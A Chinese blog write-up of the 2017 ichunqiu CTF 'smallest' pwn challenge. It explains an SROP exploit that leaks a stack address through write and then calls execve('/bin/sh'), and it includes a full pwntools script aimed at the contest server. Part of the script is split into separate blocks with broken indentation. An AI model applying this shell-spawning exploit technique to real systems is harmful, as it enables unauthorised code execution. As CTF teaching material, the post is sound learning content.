2017 429 ichunqiu ctf smallest(pwn300) writeup

原创

Anciety 于 2017-05-22 16:21:20 发布 2012 收藏

分类专栏： ctf

本文链接：https://blog.csdn.net/qq_29343201/article/details/72627439

Challenge - smallest (pwn 300) - 429 ichunqiu ctf 2017

吐槽

这次这道smallest确实很有创造力，算是这次比赛我感觉比较好的地方了。

这次比赛本身槽点是无数的，10点开始的比赛，11点都进不去平台，紧急修复到12点，然后12点半在网站通知比赛时间到1点，中途一直不肯决定
比赛到底推迟到几点进行，一早上的课都不敢好好上，确实是非常的坑。然后在做这道题的时候服务器不停的down，不得不说ichunqiu的技术让人担心啊。

题目

题目的文件非常简单，一共只有几句汇编:

```
.text:00000000004000B0                 public start
.text:00000000004000B0 start           proc near
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h
.text:00000000004000B8                 mov     rsi, rsp
.text:00000000004000BB                 mov     rdi, rax
.text:00000000004000BE                 syscall
.text:00000000004000C0                 retn
.text:00000000004000C0 start           endp
.text:00000000004000C0
.text:00000000004000C0 _text           ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0                 end start
```

是的这里的内容就是整个二进制文件的内容了。。我还特意查看了一下大小，确定不是利用了ida漏洞。。

大致分析一下内容：
首先清空rax，然后设置edx为0x400，之后rsi为rsp，也就是当前栈顶，rdi设置为rax，也就是0，之后syscall。

根据64位系统调用规则，这里的syscall就相当于read(stdin, rsp, 0x400)。
syscall之后，我们输入的内容会被输入栈顶，后面的retn也就会回到我们输入内容指定的地址了。

解决

srop

其实看到如此简单的汇编，还有syscall，第一反应应该就能想到了，srop。

srop，全称sigreturn return oriented programming，是利用了linux系统sigreturn系统调用的特点进行漏洞利用的一种方法。

free buf上有一篇文章讲的比较详细，我就不再赘述了，文章地址:`http://www.freebuf.com/articles/network/87447.html`

如何进行srop

这里我们首先确定第一个思路，我们能够控制的地方一开始只有rax，通过read的字符数量控制，以及栈的值，通过栈顶值和ret可以控制rip。

光用这几个东西显然是不够的，所以想到使用srop来控制所有寄存器的值，因为只有这样才有办法完成从栈到寄存器的值传递。

srop在64位syscall号为15，srop的frame的大小比15明显要大，所以需要先进行一次rop，也就是，先输入sigreturn frame，然后使得之后的控制流执行到4000b0的位置，
再次进行read，这次输入sigreturn frame的前15字节，之后使控制流到4000be，也就是syscall，这样就可以顺利进行srop了。

如何设置寄存器

srop会将所有的寄存器的值都设置为我们给出的值，可是问题是，我们无法确定rsp的值，那么这里rsp写入什么值？显然，rsp的值必须是可写的，如果rsp值不可写，
接下来就没办法在rsp上放东西，ret的时候就会出错，如果确定了某个可写地址，我们就可以进行srop，将rsp改为这个可写地址，然后再次进行read，
可以将/bin/sh之类必要的参数放到已知位置，然后srop调用execve就可以了。

那么到现在的问题就变成了只要能够确定一个可写地址，shell就拿到了

如何确定可写地址

其实问题是比较简单的，那就是，利用write。

唯一可能泄露东西的系统调用就是write了，而好巧不巧的是，write的系统调用号是1，然而stdout的值也是1，这样`mov rdi, rax`这条语句会天然的设置好write的参数，
唯一需要的就是设置好rax。设置rax的方法和之前进行srop方法一样，先输入好需要的参数，然后rop进入4000b0再次read，然后再输入一个字节，利用上一个read设置好的
返回地址rop到4000b3，设置好参数，rax和rdi变为1，就可以进行write了。

可是直接write什么都没有啊？ 不，栈在一开始的时候，还有一个东西，就是环境变量。。

环境变量是一堆指向字符串的指针，而这堆字符串在栈里，所以拿到这个就相当于拿到了栈的大致位置，然后调整一下，就得到可写位置了。

最后一个问题

注意，由于中间的read输入的字符数量很重要，所以需要断开一下保证不会连着发送。

exp.py

```
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 0
GDB = 0
```

```python
if DEBUG:
    p = process("./smallest")
else:
    p = remote("106.75.61.55", 20000)

def pwn(addr):
    '''
    addr should be writable address
    '''
    ret_addr = 0x4000b0 # another read
    syscall_addr = 0x4000be # only syscall
    frame = SigreturnFrame()
    frame.rsp = addr # any writable address(maybe in stack)
    frame.rip = ret_addr
    payload = p64(ret_addr)
    payload += 'd' * 8
    payload += str(frame)
    p.send(payload)



    # second read, enter sysreturn
    payload = p64(syscall_addr)
    payload += '\x11' * (15 - len(payload))
    p.send(payload)

    yes = raw_input()
    # another read now, to the choosed addr as rsp
    frame2 = SigreturnFrame()
    frame2.rsp = addr + 400
    frame2.rax = constants.SYS_execve
    frame2.rdi = addr + 400
    frame2.rsi = addr + 400 + len("/bin/sh\x00")
    frame2.rdx = 0
    frame2.rip = syscall_addr
    payload = p64(ret_addr)
    payload += 'b' * 8
    payload += str(frame2)
    payload += 'a' * (400 - len(payload))
    payload += '/bin/sh\x00'
    payload += p64(addr + 400)

    p.send(payload)

    yes = raw_input()

    # another sigreturn
    payload = p64(syscall_addr)
    payload += '\x00' * (0xf - len(payload))
    p.send(payload)



def leak():
    read_again = 0x4000b0
    rdi_syscall_addr = 0x4000bb
    payload = p64(read_again)
    payload += p64(rdi_syscall_addr)
    payload += p64(read_again)
    p.send(payload)

    yes = raw_input()
```

```
        yes = raw_input()
        p.send('\xbb')
        recved = p.recvuntil('\x7f')
        then = p.recv()
        leak = u64(recved[-6:] + then[:2])
        log.info("leaking:" + hex(leak))
        return leak

    def main():
        if GDB:
            pwnlib.gdb.attach(p)
        #leak()
        addr = leak() & 0xfffffffffffff000
        addr -= 0x2000
        log.info("on addr: " + hex(addr))
        pwn(addr)
        p.interactive()

    if __name__ == '__main__':
        main()
```

总结

这道题主要是学到了:

1. srop结合rop进行使用，srop的作用除了控制执行流以外，更大的作用是可以控制所有寄存器，这是一般rop做不到的
2. 在栈顶部分的环境变量和栈的位置密切相关，当拥有泄露漏洞，但是不知道从哪儿可以获取到栈地址的时候可以考虑环境变量